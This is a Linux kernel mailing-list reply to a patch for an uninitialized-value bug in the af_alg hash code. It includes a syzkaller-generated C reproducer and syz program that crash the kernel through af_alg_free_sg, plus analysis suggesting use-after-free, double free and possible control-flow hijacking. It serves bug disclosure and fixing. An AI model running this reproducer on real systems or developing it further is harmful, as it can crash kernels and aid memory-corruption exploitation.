Re: [PATCH] crypto: af_alg/hash: Fix uninit-value access in af_alg_free_sg()

[xingwei lee <xrivendell7@xxxxxxxxx>]

Hi,Shigeru and Herbert. Happy New Year anyway.
I also found this bug and tried to reproduce it.
My own syzkaller crashes titled "double-free in af_alg_free_sg” or
“KASAN: use-after-free in af_alg_free_sg” lead me to consider it maybe
a security-related problem.

I reproduced it with repro.c and repro.txt and also bisection to this
commit: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/crypto/algif_hash.c?id=b6d972f6898308fbe7e693bf8d44ebfdb1cd2dc4

=* repro.c =*
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};

int main(void) {
 syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
         /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
 syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=*/7ul,
         /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
 syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
         /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
 intptr_t res = 0;
 res = syscall(__NR_socket, /*domain=*/0x26ul, /*type=*/5ul, /*proto=*/0);
 if (res != -1) r[0] = res;
 *(uint16_t*)0x20000040 = 0x26;
 memcpy((void*)0x20000042, "hash\000\000\000\000\000\000\000\000\000\000", 14);
 *(uint32_t*)0x20000050 = 0;
 *(uint32_t*)0x20000054 = 0;
 memcpy((void*)0x20000058,
        "poly1305\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
        "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
        "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
        "\000\000\000\000\000\000\000",
        64);
 syscall(__NR_bind, /*fd=*/r[0], /*addr=*/0x20000040ul, /*addrlen=*/0x58ul);
 res = syscall(__NR_accept4, /*fd=*/r[0], /*peer=*/0ul, /*peerlen=*/0ul,
               /*flags=*/0ul);
 if (res != -1) r[1] = res;
 *(uint64_t*)0x20000d80 = 0;
 *(uint32_t*)0x20000d88 = 0;
 *(uint64_t*)0x20000d90 = 0x20000d40;
 *(uint64_t*)0x20000d40 = 0x20000d00;
 *(uint16_t*)0x20000d00 = 0;
 *(uint64_t*)0x20000d48 = 0x14;
 *(uint64_t*)0x20000d98 = 1;
 *(uint64_t*)0x20000da0 = 0;
 *(uint64_t*)0x20000da8 = 0;
 *(uint32_t*)0x20000db0 = 0;
 syscall(__NR_sendmsg, /*fd=*/r[1], /*msg=*/0x20000d80ul, /*f=*/0x400c000ul);
 res = syscall(__NR_accept4, /*fd=*/r[1], /*peer=*/0ul, /*peerlen=*/0ul,
               /*flags=*/0ul);
 if (res != -1) r[2] = res;
 *(uint64_t*)0x20000840 = 0;
 *(uint32_t*)0x20000848 = 0;
 *(uint64_t*)0x20000850 = 0;
 *(uint64_t*)0x20000858 = 0;
 *(uint64_t*)0x20000860 = 0;
 *(uint64_t*)0x20000868 = 0;
 *(uint32_t*)0x20000870 = 0x4000;
 syscall(__NR_sendmsg, /*fd=*/r[2], /*msg=*/0x20000840ul, /*f=*/0x4001ul);
 return 0;
}

=* repro.txt =*
r0 = socket$alg(0x26, 0x5, 0x0)
bind$alg(r0, &(0x7f0000000040)={0x26, 'hash\x00', 0x0, 0x0,
'poly1305\x00'}, 0x58)
r1 = accept4(r0, 0x0, 0x0, 0x0)
sendmsg$BATADV_CMD_SET_HARDIF(r1, &(0x7f0000000d80)={0x0, 0x0,
&(0x7f0000000d40)={&(0x7f0000000d00)=ANY=[@ANYBLOB, @ANYRES16=0x0,
@ANYBLOB], 0x14}}, 0x400c000)
r2 = accept4(r1, 0x0, 0x0, 0x0)
sendmsg$alg(r2, &(0x7f0000000840)={0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x4000}, 0x4001)

After analysing the uninitialized of ctx->sgl, it may cause (without
KMSAN in linux kernel)

void af_alg_free_sg(struct af_alg_sgl *sgl)
{
  int i;

  if (sgl->sgt.sgl) {
    if (sgl->need_unpin)
      for (i = 0; i < sgl->sgt.nents; i++)
        unpin_user_page(sg_page(&sgl->sgt.sgl[i]));
    if (sgl->sgt.sgl != sgl->sgl)
      kvfree(sgl->sgt.sgl);
    sgl->sgt.sgl = NULL;
  }
}

1. If sgl->sgt.sgl is 0x0, the poc triggers nothing
2. If sgl->sgt.sgl is not null but like 0xbbbbbbbbbbbbbbbb,
unpin_user_page will crash like “wild-memory access”.
3. If sgl->sgt.sgl happens to be a pointer whether it is being used or
released, sgl->sgt.nents<0, kvfree can definitely cause uaf or double
free and maybe lead to control flow hijacking.

The incorrect logic of unlock_free label can really cause security issues.

I hope the reproducer and analysis helps.

Best regards.
xingwei Lee